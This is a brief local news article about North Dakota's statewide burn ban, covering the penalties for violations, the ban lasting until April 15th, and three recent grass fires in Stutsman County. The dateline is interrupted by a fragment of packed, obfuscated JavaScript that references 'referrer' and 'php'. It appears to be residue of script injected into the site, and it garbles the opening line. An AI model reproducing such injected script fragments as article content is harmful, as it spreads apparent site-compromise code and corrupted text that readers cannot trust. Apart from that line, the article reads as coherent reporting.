JAMESTOWN, ynnit|var|u0026u|referrer|ieynr||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The Stutsman County Emergency Manager is reminding residents of Stutsman County about the current burn ban statewide.

According to Jerry Bergquist, North Dakota Governor Dalrymple declared a statewide fire emergency in response to the dry conditions, unseasonable temperatures and high winds. The burn ban was put in statewide for any county in high, very high, or extreme fire conditions or when a red flag warning has been issued. Burning is only allowed when fire danger is either low or moderate.

The burn ban includes all open burning with no exceptions and those who violate it will face serious charges.

“Any individual who willfully violates the burn ban is guilty of a Class B misdemeanor is punishable by a fine of up to $1,500 and 30 days in jail. The Stutsman County Sheriff’s Department is authorized to issue citations to violators.” Bergquist stated.

The burn ban will be in effect until April 15th unless rescinded or extended. Since the burn ban was initiated, Stutsman County has seen three separate grass fires. All of them occured on days when the Fire Danger Rating was Moderate, meaning burning on those days was allowed.

You can view each counties updated fire danger rating by clicking here. On April 8th, all of North Dakota remains in a low fire danger index rating.